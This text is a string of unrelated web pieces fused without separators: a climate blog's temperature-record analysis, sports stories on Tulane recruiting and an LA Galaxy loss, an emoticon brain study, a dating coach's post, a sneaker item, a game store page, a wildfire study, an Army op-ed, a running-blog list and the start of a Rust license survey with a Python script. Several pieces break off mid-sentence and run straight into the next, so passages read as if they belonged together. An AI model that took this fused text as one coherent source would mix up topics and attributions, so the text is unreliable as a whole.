has recently increased more slowly (more on this in the analysis of Hansen et al. – definitely worth a read). NASA shows the following graphic, where you can see that the warmer years tend to be those with an El Niño in the tropical Pacific (red years), while the particularly cool years are those with La Niña (blue years). Figure 2 The GISS data, with El Niño and La Niña conditions highlighted. Neutral years like 2013 are gray. Source: NASA. Quality of the interpolation How good is the interpolation into regions not regularly covered by weather stations? In any case, of course, better than simply ignoring the gaps, as the HadCRUT and NOAA data have done so far. The truly global average is important, since only it is directly related to the energy balance of our planet and thus the radiative forcing by greenhouse gases. An average over just part of the globe is not. The Arctic has been warming disproportionately in the last ten to fifteen years. But how well the interpolation works we know only since the important work of Cowtan and Way. These colleagues have gone to the trouble of carefully validating their method. Although there are no permanent weather stations in the Arctic, there is intermittent data from buoys and and from weather model reanalyses with which they could test their method. For the last few decades and Cowtan & Way also make use of satellite data (more on this in our article on underestimated warming). I therefore assume that the data from Cowtan & Way is the methodologically best estimate of the global mean temperature which we currently have. This correction is naturally small (less than a tenth of a degree) and hardly changes the long-term trend of global warming – but if you look deeper into shorter periods of time, it can make a noticeable difference. The comparison with the uncorrected HadCRUT4 data looks like this: Figure 3: Comparison of interpolated and non-interpolated HadCRUT4 data, as moving averages over 12 months. Source: Kevin Cowtan, University of York. And here’s a look at the last years in detail: Figure 4: The interpolated HadCRUT4 data (annual average) from 1970. Source: Kevin Cowtan, University of York. Following this analysis, 2013 was thus even warmer than the record El-Niño-year 1998. Conclusion In all four data series of the global near-surface air temperature, the linear trend even from the extreme El Niño year 1998 is positive, i.e. shows continued warming, despite the choice of a warm outlier as the initial year. In all four data series of the global near-surface air temperature, 2010 was the warmest year on record, followed by 2005. The year 1998 is, at best, rank 3 – in the currently best data set of Cowtan & Way, 1998 is actually only ranked 7th. Even 2013 is – without El Niño – warmer there than 1998. The German news site Spiegel Online presents these facts under the headline Warming of the air paused for 16 years (my translation). The headline of the NASA news release, NASA Finds 2013 Sustained Long-Term Climate Warming trend, is thus completely turned on its head. This will not surprise anyone who has followed climate reporting of Der Spiegel in recent years. To the contrary – colleagues express their surprise publicly when a sensible article on the subject appears there. For years, Der Spiegel has acted as a gateway for dubious “climate skeptics” claims into the German media whilst trying to discredit top climate scientists (we’ve covered at least one example here). Do Spiegel readers know more (as their advertising goes) – more than NASA, NOAA, Hadley Centre and the World Meteorological Organization WMO together? Or are they simply being taken for a ride for political reasons? Footnotes (1) In addition to the data of the near-surface temperatures, which are composed of measurements from weather stations and sea surface temperatures, there is also the microwave data from satellites, which can be used to estimate air temperatures in the troposphere in a few kilometers altitude. In the long-term climate trend since the beginning of satellite measurements in 1979, the tropospheric temperatures show a similar warming as the surface temperatures, but the short-term fluctuations in the troposphere are significantly different from those near the surface. For example, the El Niño peak in 1998 is about twice as high as in the surface data in the troposphere, see Foster and Rahmstorf 2011. In their trend from 1998, the two satellite series contradict each other: UAH shows +0.05 ° C per decade (a bit more than HadCRUT4), RSS shows -0.05 ° C per decade. (2) Another graphic to illustrate the change between El Niño and La Niña: the Oceanic Niño Index ONI, the standard index of NOAA to describe the seesaw in the tropical Pacific. Figure 5 The ONI index. The arrows added by me point to some globally warm or cool years (compare Figure 1 or 4). Source: NOAA. Weblinks Kevin Cowtan has a neat online trend calculator for all current global temperature data series. The global temperature jigsaw (an overview over the “pause” debate) What ocean heating reveals about global warmingWillie Fritz Tulane football holds media day Head coach Willie Fritz talks about the upcoming football season during Tulane University's media day on campus in New Orleans, Wednesday, August 10, 2016. (Photo by Ted Jackson, Nola.com \| The Times-Picayune) The Tulane football team added another commitment on Tuesday when Ellender wide receiver Davontavean Martin announced his pledge to the Green Wave via his Twitter account. "This is a really exciting day because it's kind of a stress reliever where I can just go out and play ball now," Martin told NOLA.com l The Times-Picayune. "Tulane can provide the higher education that can take you far in life, it's a great environment that's not too far from home and I'll be able to play in a great conference against some great teams." The 6-foot-4, 164-pound Martin is now the 16th member of Tulane's Class of 2017 and the third player from Louisiana to choose the Green Wave. Martin was previously committed to play basketball at UNO but decommitted in April and said he hopes to play both basketball and football at Tulane. "I didn't like football as much at first but I recently started excelling at it and got looks from a few coaches," Martin said. "As I kept getting better at football I started getting noticed more, so I figured that I can just play both." Martin got familiar with Tulane during a football camp over the summer where he said he developed a close bond with the Tulane coaching staff. "The coaches first started reaching out to me over social media, then once I went to the camp in July they offered me a scholarship the day after," Martin said. During his junior year, Martin averaged 15.5 points, 7.6 rebounds and 2.9 assists for the Ellender basketball team and had 51 catches, 825 receiving yards and seven touchdowns during football season, according to Ellender's page on MaxPreps. You can watch Martin's highlights from his junior season below:We're all familiar with the smiley emoticon, and its power to add levity, flirtation, and occasionally passive-aggression to our texts, chats, and e-mails. But according to researchers, our brains have started to take the cluster of punctuation one step further and actually respond to it like a real face. According to a recent study published in the journal Social Neuroscience, looking at faces crafted from colons and parentheses can trigger the same facial recognition response in the occipitotemporal parts of brain that takes place when we gaze into meatspace visages of other humans. Although the iconic grinning yellow sphere with two eyes and a mouth originated in the 1960s and other typographical depictions of emotion cropped up even earlier, the sideways smiley emoticon as we know it originated in 1982. Most people now instantly recognize :) as a smiling face. However, this response isn't innate, but rather learned. Nor are all smileys created equal. The neural reaction in the study changed significantly depending on whether or not people were looking at the most familiar version of the smiley emoticon. While the traditional :) and :-) symbols triggered the same face-specific mechanisms used for processing actual faces, the non-standard (-: did not. (If you've ever had an argument over whether the reverse smiley is valid, feel free to point to this study as evidence that even our brains reject them as abominations.) "There is no innate neural response to emoticons that babies are born with. Before 1982 there would be no reason that ':-)' would activate face sensitive areas of the cortex but now it does because we've learnt that this represents a face," researcher Owen Churches told Australia's ABC. "This is an entirely culturally-created neural response. It's really quite amazing." Now if only our brains could determine if :) in a text from a new acquaintance means they're flirting or just laughing at us.What can be said about the Galaxy’s embarrassing 4-1 defeat to a lackluster Crew team? In the words of Ron Burgundy: Like San Jose last week, once again we saw how the Galaxy’s Y-midfield can be easily shut down and countered, and it’s a worrying trend. Against Seattle and Portland this system worked very well at unlocking their 4-2-3-1 set ups. Against Columbus? Not so much. Here’s what was supposed to happen: In theory, as long as Sarvas and Ishizaki are advanced, and the ball is circulating well, Trapp will be forced to cover Ishizaki, and Tchani will be forced to cover Sarvas, leaving an inverted Donovan, a withdrawn Keane, and an overlapping Rogers 3 on 2 against Gehrig and Gonzalez. This system works the exact same when shifted to the right — with Tchani on Donovan and Trapp on Sarvas, leaving Ishizaki, Gargan, and Zardes against Francis and Parkhurst. Against Portland, LA had three distinct areas of chance creation around the box. Here is a diagram of chance creation versus Portland, which each point circled. By getting to the top of the box, Marcelo Sarvas pulled a center mid with him and prevented that CM from shifting over to properly defend Donovan and Rogers on the left. Against Portland, it worked like a charm. Unfortunately, in Columbus Sarvas was practically invisible around the box. Just look at his passing chart for the first 65 minutes, prior to the switch to the 3-4-3: Sarvas’ absence around the top of the box allowed Tchani to move over and help Gehrig and Gonzalez against Donovan, Rogers and Keane. Here’s a diagram of LA’s chance creation during the first 65 minutes at Columbus. Key passes are in yellow. Assists are in blue: And here, I think, LA’s new Y-formation – which managed 7 goals in its first 3 games – has been exposed. If you prevent Marcelo Sarvas from finding space going forward, even if it means giving Ishizaki more space, LA’s Y-formation becomes little more than an empty bucket. The wings are isolated. Donovan finds himself having to sit centrally, rather than angling centrally (big difference), and chance creation suffers. And given that the Galaxy send 7 players forward into the attack, this leaves the formation incredibly vulnerable to the counter. If you refer back to the formation chart I provided at the beginning of the article, you will notice that when the Galaxy are in their advanced position in the attack, Juninho is isolated against the best playmaker in the league. Also noteworthy is the plentiful space that Finlay and Meram have in front of them. Here is a basic visualization of how Federico Higuaín was able to unlock the Galaxy defense time and time again. As soon as the ball was turned over, the ball would immediately be fed to Higuaín, who would, in turn, feed the ball to either Finlay or Meram, who had acres of space to work with. The Columbus goals prior to the Galaxy’s shift to the 3-4-3 were also the result of defensive sloppiness. In the build-up to the first goal, Stefan Ishizaki is caught out of position when a Galaxy throw in is recovered by Columbus. I’ll give Stefan a pass on this, but what happens next is completely inexcusable on the part of Marcelo Sarvas, and it’s not something I can show you in a single image. In short, he dogs it. He gives up on trying to make the recovery, and when the ball is unexpectedly cut back into a position where he can make a tackle — he isn’t ready. He’d already given up on it. Watch for yourself, and keep a close eye on number eight. Simply inexcusable. https://www.youtube.com/watch?v=CYMdxNkK4no The second Columbus goal is just a very poor read by Omar caused by the less than stellar job Juninho and Gargan do of closing down the man with the ball. When the play starts, the Galaxy are positioned well to defend it. But very similarly to the Wondolowski goal in the previous week’s game against San Jose, Omar makes the poor decision of stepping to the ball, allowing his man to run in unmarked. Despite all of this, the Galaxy managed to pull a goal back and went into halftime only down by a goal. In the second half, however, a series of very poor coaching decisions led to a complete and utter collapse. Here is how it all went down. Second Half Madness The second half got off to a surprisingly good start as the Galaxy made the following tweak to the system. Robbie Keane dropped back deeper, taking the pressure off Sarvas from providing attacking pressure around the top of the box. This, in turn, allowed him to sit back more and help Juninho break up those counters. From an offensive standpoint, as long as the Galaxy could transition quickly and get in behind Finlay and Meram, they could once again work their magic in those centerback/fullback channels. The Galaxy began to find their rhythm and it seemed like it was only a matter of time before an equalizer. Twenty minutes into the second half, however, Robbie Rogers goes down with an injury, and Bruce responds with a series of ill-conceived tweaks. 65th Minute. Bruce subs in Baggio Husidic, and the Galaxy switch to three in the back. This shift in tactics had the following easily foreseeable results. For one, the progress made with the smart halftime change of dropping Keane back to allow Sarvas to sit back more to help out Juninho on Higuain, was completely undone. Sarvas was now responsible for helping to cover the right hand side and helping Gargan. Obviously, one could argue that Ishizaki shouldn’t have pushed up so high, but as a manager, Bruce should know the tendencies of his players. Ishizaki will always push high. The second problem was that it completely sacrificed the width of the formation. Given the proven fluidity of Donovan, Keane, and Ishizaki, this wouldn’t have been that much of a hindrance — just a major shift in how the attack would go about creating chances. But then, in the 70th minute, Bruce made a further adjustment to the system. An adjustment that kinda suggests that Bruce really had no clue what the system was. 70th minute: Bruce, like a kid eager to play with a new toy, sends on Alan Gordon for Stefan Ishizaki. Now the reason I am being so hard on Bruce for this is because we spent the final 30 minutes of the game in a formation that makes absolutely no sense. Have a look for yourself. By subbing in Gordon and putting Zardes in Ishizaki’s place, Bruce essentially exacerbated the problem of playing a 3-4-3 with a right mid that likes to push into attacking formations, by swapping him with Gyasi Zardes — a forward who will get forward even more than Ishizaki. It did not take long for this 3-3-4 system to blow up in Bruce’s face. Five minutes later, Speas scores a goal down that side. But the problem with this formation isn’t just the obvious defensive holes. It’s the poorly envisioned, if envisioned at all, way the Galaxy midfielders were supposed to go about getting the ball to the 4 forwards. In Tchani and Trapp, the Crew have two midfield disruptors. Playing three center mids and no full backs against a system that is built from the spine is just flat out dumb. Columbus was giving up all kinds of space on the wings, and LA had no way to exploit it. Without a means to move the ball down the flanks, Alan Gordon’s usefulness as a target forward was limited to simply heading down boom-balls. And that’s what LA did for the final third of the the game. They launched a ton of low percentage boom-balls in the hopes that Gordon might, by chance, knock one down to Keane or Donovan or Zardes in an opportune place for a shot. And every time the Galaxy turned the ball over on these hopeful attempts, the Crew would speed down the flanks and tear our back three to shreds. E Tu Bruce’ In all my years of watching soccer, I have never seen a coach hurt his team so much by way of his subs. This was a coaching blunder of the highest order, and effectively took LA out of the game. The following tactical blunders are flat out egregious. 1. Bringing in a target forward after subbing out the wings. 2. Attempting to play a 3-4-3 using an inverted right wing, Ishizaki, or a converted forward, Gyasi. Now, Bruce is an experienced coach. A coach I often criticize for being overly conservative and slow to keep up with the ever changing game, but a good coach none the less. I choose to believe that Bruce was simply thrown off his game when Robbie went down. With new pieces on the bench, he didn’t have a contingency plan, and thus his subs made little tactical sense. I think Bruce will take a look at this film and recognize the error of his ways, and I do not expect this to happen again. The larger concern, however, is the recent collapse of the current attacking system. With the new formation crumbling before our eyes, its flaws laid bare for all to see, Bruce Arena needs to act. He needs to tweak. A switch back to the diamond, with Donovan at left mid? A system where Robbie Keane drops back more to be a playmaker? Who knows? Whatever he does, he must to do something if the Galaxy are to remain in the race for the Supporters Shield. It’s not acceptable to sit around and blame these last two performances on bad luck, poor officiating, or poor individual performances, as he has done. Soccer is dynamic — an ever-changing sport where adaptation is key, and complacency and regression are one in the same. To Bruce’s credit, this has been a year where he has shown an uncharacteristic readiness to tweak, and for all the hardships along the way, we have no doubt learned a lot about our team a long the way, and are still well-positioned to make a run at the Supporters Shield and MLS Cup. Can Bruce right the ship again? Comments commentsLast week, I posted this video to my Facebook. As cheesy as it is, it contains a profound message. Seizing a single moment can result in unforgettable experiences and even change the course of your life. In this case, saying hi to a girl in a coffee shop led to an amazing relationship. Tim Ferriss, writer of The Four Hour Work Week, held a contest for Princeton students to build a relationship with someone famous or wealthy. The winner won a round-trip ticket to anywhere in the world. He challenged them to e-mail these so-called “unattainable” figures and ask meaningful, thought-provoking questions. Students ended up talking to George Bush and the CEOs of Google, Disney, and HP. A few of them even landed careers. Tim Ferris proved that the first step to greatness was just reaching out – an idea previously out of everyone’s reality. As Woody Allen said, “Eighty percent of success is showing up.” I’ve created countless friendships, business connections, and romantic relationships by pushing myself to reach out. These stories would’ve never happened without seizing the moment: My first night during a trip to San Francisco, I went to a standup comedy club by myself. I noticed a group of friends hanging out. Two of them, a guy and a girl, were wearing shirts from El Pelon Taqueria, my favorite Boston burrito joint (their marketing says it all). I told them I was hunting for a San Fran burrito that could top Pelon’s legendary status. We ended up laughing our asses off, going to an after-party together, and I hit it off with one of their girl friends. My decision to approach this random group of people resulted in great friends for a week and a fun fling. On the AMTRAK train a couple weeks ago, I commented to the guy sitting next to me about his camera. It turned out he was a prominent photographer who’s done studio work for the likes of Lady Gaga, Katy Perry, and Annie Leibovitz. Coincidentally, I’d been looking for a photographer for new pictures on my site. After three hours of engaging conversation, I’d built a personal relationship with the perfect person for the job. A well-known writer posted on Reddit and I messaged him with questions on how he marketed his books. He was impressed with my initiative and offered to have a phone chat with me. We’re now in talks of working together to self-publish my coming book series. I first saw my girlfriend at a lounge with her friends. I commented about her artistic style and we hit it off right away. From that innocuous comment, we spent hours getting to know each other and have now dated for over two years. Three years ago, I googled “Boston dating coach” and came upon Thomas Edwards. I loved his business and teaching style so I sent an email asking him if he wanted to grab a drink. We met at a bar downtown and continued to hang out periodically for two years. As our businesses grew, he moved to NYC and wanted to combine forces. It was a no-brainer and we became business partners at one time. I used to run a gaming blog and one guy’s well-written comments always sparked excellent conversation. I reached out to him and asked if he’d ever be interested in guest posting. Our digital friendship soon turned into a real-life one, and we’ve been close for the past seven years. We’ve had wild adventures in underground clubs, punk rock bars, and burlesque shows. At the same time, I’ve crashed on his couch and played Kinectimals with his two wonderful children. My girlfriend was hired as a musician for a private school musical. She met the head of the music department and made a strong connection. After the gig, I pushed her to email to ask for career advice and offer her other services. She’s now a music teacher at the school starting this coming Monday. A simple follow-up resulted in a coveted position – the same has also happened for friends of mine who took the time to contact companies directly. At a tradeshow, I began shooting the shit with the VP of a successful company. We ended up talking about movies, and I asked him if he’d seen The Avengers. He replied, “Yeah, I’m in it.” I thought he was BSing me until he started to rattle off several names of directors and films he’s worked in. He pulled up his highlight reel and there he was, in The Avengers, Hunger Games, Homeland, Dear John, The Conspirator, and more. He’s a modern-day renaissance man who’s a business executive by day and an actor on the side. He’s built and sold multiple companies and owns an island mansion. His passion for living life to the fullest and saying yes to everything had a profound impact on me. Years ago, I worked with a client who had extreme approach anxiety. I helped him get to the point where he could approach women on his own. A few months later while waiting for the train, he saw a girl, bit his lip, and introduced himself. Now they’re engaged and have set their wedding date. A simple “Hello” found him the girl of his dreams. Take initiative in every situation possible. Get proactive, say yes more often, and reach out to people. Forget about the “what if’s” and just focus on the first step. That seemingly insignificant moment could become the best decision you’ve ever made. — Ready to take your first step? Talk to me for a free session.When it comes to Nike’s iconic Air Max 1 silhouette, there’s a countless amount of colorways and materials that have graced its canvas. Increasing the quality of its material you’ll find a selection of colorways within the Swoosh’s upper tier Pinnacle offering of the model. This time around the aforementioned collection will soon launch new palettes of the Nike Air Max 1 including the options of black and off-white. Both resting atop of off-white colored soles, retailers such as Titolo have expected launch dates of February 1. Despite the previously mentioned date being in relation with Titolo, there has not been a confirmed stateside launch of the upcoming colorways of the Nike Air Max 1 Pinnacle. Fans of the silhouette should expect the two iterations to launch sometime during the month of February at select NikeLab retailers.Lukas Podolski has revealed his big secret (Picture: Getty) Lukas Podolski has revealed how he sneaks kebabs into the Arsenal dressing room – to eat behind Arsene Wenger’s back. Podolski, who is one of a number of German stars at the Emirates Stadium, has use of a special German chef at the club’s London Colney training base. The chef supplies specialist food to make the German players feel at home, but the forward admits he uses him to prepare kebabs and other junk food on the quiet. ‘Kebab is my favourite,’ he said. MORE: Arsenal agree deal to sign Barcelona striker Podolski just can’t get enough of the unhealthy meal (Picture: Getty) ‘Sometimes I order kebabs from him or maybe special German sausage. Only Germans have access to the kitchen.’ And what does Wenger think of these antics? ‘It comes in behind the door – the back door, there’s a little entrance,’ Podolski revealed. Advertisement Advertisement ‘Then we take the food home and enjoy it at home.’ The secret it out now, Lukas. MORE: Arsene Wenger coy on Arsenal transfer plansAbout This Game 14x2 different Rounders, each with unique attacks and techniques! Musical genre-spanning soundtrack from Yasuhisa Watanabe Fully voiced (Japanese) cast Character art by Akira Ito (newly comissioned) with DUO's art available in Gallery Mode and DUO Story 6 game modes Arcade: battle increasingly difficult CPU opponents Online/Offline Battle: fight other players on and offline Score Attack: battle the CPU and aim for a high score DUO Story Mode: play through a rewritten and upgraded scenario from Senko no Ronde DUO Practice: hone your Rounder piloting here Game experience may alter from user to user depending on their hardware configuration. All user comments and reviews below are unsolicited. Reviews and comments are in no way created or controlled by Degica or G.rev and reflect the views of the reviewer only. Game experience may alter from user to user depending on their hardware configuration. All user comments and reviews below are unsolicited. Reviews and comments are in no way created or controlled by Degica or G.rev and reflect the views of the reviewer only. Originally released in Japanese arcades in 2005, the Senko no Ronde series provides an unique mix of both the shooting and fighting genres, mixing them into a one-on-one action game where two Rounder (mecha) pilots face off against one another in a veritable ballet of bullets and battling. Featuring an involved storyline, multiple characters and rounders, with local battles, online matching and more! And with Zuntata alumnus Yasuhisa Watanabe on board, you know the soundtrack is going to be a treat too.Players take control of a Rounder and utilise long ranged attacks alongside melee assaults to defeat their opponent. Shields and the all-important dash can be used in defence, with barrage attacks and the almighty B.O.S.S. attack on hand to rain destruction down on the battle field.In 1486 S.D., a future where mankind has fled to the stars following The Great Disaster, an incident which left Earth uninhabitable, new galaxy-spanning governments have replaced Earth's old political regimes, but the old power struggles are still present. A terrorist attack involving a banned weapon, stolen from one of the ruling federations, shakes the balance of power and leaves openings for new factions to rise. But who was behind the attack, and do the newer factions hold noble intents...?Learn the secrets of this new age through the Duo Story Mode, a refined retelling of Senko no Ronde DUO's story in full HD.Personal Space tackles themes of isolation, rivalry, and hope in deep space. Personal Space takes place in an alternate timeline where the American space program has been decades ahead of actual history. Generation ship Overture was launched on a very long journey in 1991 to a distant star. The crew serves in 25 year shifts, with each shift passing the torch to the one after. We’re watching current events aboard the
are associated with lower fire severity. They analyzed fires that burned in pine and mixed-conifer forests starting about 30 years ago, at the earliest point for which comprehensive data were available, to compare where and how fires burned using satellite imagery and maps from the U.S. Geological Survey’s “protected areas database.” The results demonstrated that fires burned relatively cooler in areas managed for biodiversity (Gap 1 in figure below), including national parks and wilderness areas where fires are generally allowed to proceed naturally versus areas managed for multiple use (Gap 3) and areas with little to no mandate for protection (Gap 4) such as private forest lands managed for timber production. The study focused on forests with relatively frequent fire regimes, ponderosa pine and mixed-conifer forest types; used multiple statistical models; and accounted for effects of climate, topography and regional differences to ensure the findings were robust. “The belief that restrictions on logging have increased fire severity did not bear out in the study,” said Chad Hanson, an ecologist with the John Muir Project. “In fact, the findings suggest the opposite. The most intense fires are occurring on private forest lands, while lands with little to no logging experience fires with relatively lower intensity.” “Our findings demonstrate that increased logging may actually increase fire severity,” said Dominick A. DellaSala, chief scientist of Geos Institute. “Instead, decision-makers concerned about fire should target proven fire-risk reduction measures nearest homes and keep firefighters out of harm’s way by focusing fire suppression actions near towns, not in the back country.” The authors noted that even in protected forests they found an appropriate mix of low, moderate and high-intensity fire, which is ecologically beneficial since many wildlife species depend on post-fire habitat, especially "snag forest habitat" created by patches of high-intensity fire. Many studies indicate that significant damage to wildlife habitat can result from logging of both unburned mature forests and snag-forest habitat. Read or Share this story: http://scsun.co/2ewfwCCThe Army is emerging from 13 years of war, battle-tested but weary. It is under pressure from budget cuts, the return of nearly the entire force to domestic bases, and a nation wary of deploying land power after two long conflicts. Yet perhaps the most important challenge facing the Army is not about finances, logistics or public opinion, but about culture – its own. A conflict looms between the Army’s wartime ethos of individual initiative and the bureaucratic malaise that peacetime brings. The Army is about to make an abrupt shift: from a sizable, well-resourced, forward-deployed, combat-focused force to a much smaller, austerely funded, home-stationed service. Training and preparation for war will take the place of actually waging it. The Army is moving from 13 straight years of playing in the Super Bowl to an indefinite number of seasons scrimmaging with itself. about the author Retired Army Lt. Gen. David W. Barno served as overall commander of U.S. and coalition forces in Afghanistan from 2003 to 2005. While few in the service would prefer unending wartime deployments over some semblance of peace, the end of full-scale conflict brings unique challenges to those in uniform – especially to those millennials in active service who, since 2001, have experienced nothing but the adrenaline rush of an Army at war. This transition could weaken the Army’s warfighting capabilities and drive talented, combat-experienced young leaders from the force. The Army faced a similar situation after Vietnam. Home after a decade in Southeast Asia, its senior officers confronted demands to shrink the Army rapidly and return it to a peacetime footing. The Army’s senior leaders of the 1970s had endured the trials of Vietnam as mid-grade combat commanders, and they understood that the traits required for battlefield success – bold decision-making and individual leadership – would be quickly stamped out in a peacetime, rule-focused force. So they took action. In 1979, the Army chief of staff, Gen. Edward “Shy” Meyer, advanced the controversial idea of “selective disobedience” as a way to empower junior leaders in the face of stultifying Army bureaucracy. His comments sparked a furious debate in the force, but as a young infantry company commander at the time, I knew exactly what he meant. He did not mean that we should ignore laws or violate ethical standards. But in a peacetime Army, the demands of burgeoning policies, regulations and requirements vastly exceeded the time available to comply, so leaders were empowered to set priorities and make choices. We could say no – we were even expected to say no. Beginning in the early 1980s, Lt. Gen. Walter Ulmer led an Army-wide campaign he called “power down,” designed to wrest authority out of the hands of petty Army bureaucrats and drive it down to the lowest possible level. Today’s Army officially embraces a leadership concept called Mission Command, and it resonates with the initiatives launched after Vietnam. It has been the default setting in Iraq and Afghanistan, where small units led by junior leaders have been scattered across the battlefield. Many of these young captains, lieutenants and sergeants saw their immediate supervisors infrequently, but all strived to operate within the intent of those higher commanders every day. Regardless of the strategic outcomes of these recent wars, decentralized Mission Command has succeeded, empowering junior leaders to act boldly within their commanders’ broad intent. For example, when the raid into Pakistan to kill or capture Osama bin Laden went awry with a helicopter crash, the assault force immediately pressed on to accomplish the overall mission – without receiving detailed new orders from commanders thousands of miles away. But Mission Command is now on a collision course with the peacetime Army, which values bureaucratic process and compliance above all else. Completing surveys and online training on time, mastering PowerPoint briefings, and grasping the intricacies of training management and readiness reporting all dominate the life of leaders in garrison. In combat, risk of death or failure is a daily hazard. In peacetime, risk-taking is systematically extinguished by layers of rules, restrictions and micromanagement aimed at avoiding any possible shortcomings. In many ways, the Army is in denial of this looming problem. Its senior officers need to take on this challenge directly. They must embrace and protect a leadership philosophy anchored in trust – one that imbues the Army’s peacetime operations with the wartime precepts of Mission Command. And most of all, these senior leaders need to listen to their young combat leaders of the past 10 years, the individuals who will eventually lead this Army. They must empower their young leaders to say no to the bureaucracy, or they risk creating a generation of compliant officers unprepared for the fast-moving, “think on your feet” nature of modern war. – The Washington Post ShareThere are many different types of runners out there— from RELATED: 10 Personal Trainers You Should Follow on Twitter RELATED: 10 Sexiest Fitness Bloggers No. 10 - Run NYC, Every Square Inch! There are plenty of running blogs out there that provide an enlightened professional perspective, and don't worry, we'll get to those. Sometimes, the blogs started by more casual enthusiasts can be just as motivating. Brian Gustavson has come up with a really cool training goal: to run every square inch of New York City while training for his next marathon. What is even cooler is that he has taken great pains to document every step of his journey. Brian is already 100 posts deep and he has provided video and photos from his run around the Big Apple. Those of us who have trouble getting up off the coach could take a page out of Brian's book, as he has set a goal, and has colorfully stuck to it. Run NYC, Every Square Inch! No. 9 - Running and Rambling We are going to miss Donald Buraglio's updates from Running and Rambling, as he drew the blog to a close at the end of 2012. Though Donald has attracted readers with his gear reviews and perspective on barefoot running, readers stayed around because of his unique perspective. Whether he shared beautiful nature photos, Grateful Dead songs, or old Bloom County cartoons along with his blog posts, he reminded readers that running is not an end in itself, but part of a larger lifestyle. We recommend taking a look back through his archives for not only his perspective on running, but also for his perspective on life. POST CONTINUES BELOW Running and Rambling No. 8 - Peak Performance Runner's World editor Amby Burfoot's bio explains that he was "a guinea pig in the first Gatorade experiment with runners (in 1968), and has closely followed the science of running ever since." His years of experience in the field are evident in breadth and depth of running news and information he comes up with daily on his blog. While Burfoot's years of experience in the field and his vast knowledge of running are evident, he is able to distill that knowledge in a way that keeps his work fresh and enjoyable. Articles like, "Should Runners be Wary of Certain Mouthwashes" prove that he is willing to mix in a quirky sensibility with his ample experience. POST CONTINUES BELOW Peak Performance No. 7 - RunBlogRun While many websites run periodic information about famous runners, few blogs focus exclusively on news in the running world. This is where Larry Eder's blog, runblogrun, comes in. Eders provides an up-to-date feed with interviews, news, and perspective from some of the world's top runners. World class sprinters, hurdlers, and marathoners are profiled on his blog and the result is a set of varied and interesting perspectives. If you want to keep abreast of the moving and shaking in the track and field world, as well as keep an eye open for advice and perspective from world-class runners, runblogrun is for you. RunBlogRun No. 6 - Sweat Science Until recently, Alex Hutchison was running his "Sweat Science" blog on his own website. Recently he has moved over to Runner's World's blog community. When he moved over to Runner's World last year he promised that he would maintain his commitment to covering all aspects of "the science of fitness." So far, he has kept his promise and more. With articles like "Early Warnings of Overtraining" and "Dehydration Doesn't Cause Muscle Cramps?", Hutchison takes common athletic questions and tackles them from a scientific perspective. Do yourself a favor and learn a little more about why your body behaves the way it does with Hutchison's blog. POST CONTINUES BELOW Sweat Science No. 5 - iRunFar iRunFar is one of the internet's most popular running blogs. In fact, iRunFar has become the internet destination for trail running and ultra marathoning information. Boasting 14,000 twitter followers, iRunFar has demonstrated that there is an active, engaged community to drives their site. Of course, iRunFar focuses on gear, as most blogs do, but their coverage of races and their columns that provide advice and perspective on the ultra marathoning and trail running community give the blog the unique voice that has made it so popular. iRunFar No. 4 - A Trail Runner's Blog While we certainly appreciate articles by fitness experts, journalists, and casual enthusiasts, sometimes there is no substitute for the real deal. Scott Dunlap is a professional trail runner and triathlete, and he uses his blog to delve into all things trail running. For Scott, this ranges from your standard product reviews to interviews, research, and even original fiction. One of our favorite aspects of Scott's blog is the photography, and accompanying captions, from races he has run; these candid photos provide a behind the scenes view of the serious runner in action. POST CONTINUES BELOW A Trail Runner's Blog No. 3 - Run Infinity While Run Infinity offers inspirational and training materials, what it does best is its newsfeed. Run Infinity is your destination for marathon news. If you are hungry for news on upcoming races, notable runners, and the marathoning community, Run Infinity is the blog for you. If you check Run Infinity on the regular, you will be in the know regarding all aspects of the marathoning world. With their clean layout, and the insightful articles they mix in along the way, the only work you'll have to do is the actual running. Run Infinity No. 2 - Running Shoe Guru We love the layout of Running Shoe Guru. It can be daunting attempting to work through all the literature out there that aims to help you select the right running shoe, but this blog sets out to make it all digestible. One of our favorite aspects of the site is the "Find Your Shoe" feature. Here, the Guru asks you the important questions you need to consider before picking out your running shoe so you can focus on getting your run on. Once you've found the type of shoe you are looking for, you can begin pouring through the copious reviews to find the right one for you. POST CONTINUES BELOW Running Shoe Guru No. 1 - RunBlogger Pete Larson is not only a runner, but he is also a biologist, which makes him the kind of guy who knows what he's talking about. While many websites provide you with shoe reviews, few of them can offer the in-depth perspective that Larson dispenses on a daily basis. While he offers tons of helpful reviews of individual shoes, we love it when Larson broadens his perspective and writes advice pieces like "5 Ways to Tell if a Running Shoe is a Good Match for You" or "Shoes Matter: Running Shoes Can Contribute to Injury." When you are ready to step up your shoe science game, Larson's blog should be your first stop. RunBlogger RELATED: 10 Personal Trainers You Should Follow on Twitter RELATED: 10 Sexiest Fitness BloggersSurvey of licenses used by Rust projects on crates.io So I am working on a feature that I hope to get merged into cargo, Rusts package manager. The feature would allow a developer to specify a license to add to a new project (or all new projects), and automatically put that information in their Cargo.toml, as well as add the LICENSE file to their project. So I got to the point where the feature was working, but I had to figure out how many, and which licenses, to support in the tool. My intuition was to include: MIT, BSD (2- and 3-clause), Apache-2.0, and GPL, both -2.0 and -3.0. However, we are all about data these days, right? So forget my intuition, let’s see what actual Rustaceans are using! Process So my first step was to collect some data from crates.io, the central repository for Rust crates. You can easily get an index of all the crates on the site by using the index that the Cargo team has on github: $ git clone https://github.com/crates.io-index $ cd crates.io-index Now, lets query the crates.io API for information about these crates. I ended up saving the information to a file, though you don’t necessarily have to do that. It helped with iterating on the data, as I didn’t have to repeatedly hit crates.io’s servers for the info (it saved them bandwidth, and me time, since crates.io will cut you off if you make too many requests in too short a time). Here is the script I used to gather the data: import csv import os import time import requests CRATE_URL = "https://crates.io/api/v1/crates/{crate_name}" INDEX_PATH = "/path/to/crates.io-index" def walk_index ( path ): for _, _, fnames in os. walk ( path ): for fname in fnames : if not fname == "config.json" : yield fname def get_license ( crate_name ): req = requests. get ( CRATE_URL. format ( crate_name = crate_name )) if req. status_code == requests. codes. ok : try : j = req. json () crate = j [ 'crate' ] license = crate [ 'license' ] if license is not None : license = license. lower () return license except KeyError : return None except ValueError : return None return None with open ( "license.csv", "w", newline = "" ) as csvfile : writer = csv. writer ( csvfile, dialect = 'excel' ) for crate_name in walk_index ( INDEX_PATH ): license = get_license ( crate_name ) writer. writerow ([ crate_name, license ]) # The crates.io API will cut you off if you # don't throttle your requests a bit time. sleep ( 0.5 ) Ok, so now we have a nice.csv file with the name of the crate and the license string it uses. Now, lets re-read that information back in, and count licenses: import csv from collections import Counter 